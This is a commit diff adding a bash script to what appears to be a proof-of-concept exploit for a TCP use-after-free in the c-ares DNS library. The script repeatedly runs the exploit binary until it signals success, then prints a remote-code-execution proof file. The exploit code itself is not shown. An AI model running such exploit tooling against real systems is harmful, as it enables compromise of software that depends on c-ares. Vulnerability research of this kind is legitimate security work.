Add c-ares TCP UAF calc PoC

c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh

@@ -0,0 +1,20 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+bin=${1:-./cares_tcp_uaf_calc_poc}
+tries=${TRIES:-25}
+
+rm -f /tmp/cares_rce_proof_*
+
+for i in $(seq 1 "$tries"); do
+  set +e
+  "$bin" controlcall
+  rc=$?
+  set -e
+  echo "run=$i rc=$rc"
+  if [ "$rc" -eq 77 ]; then
+    break
+  fi
+done
+
+cat /tmp/cares_rce_proof_latest 2>/dev/null || true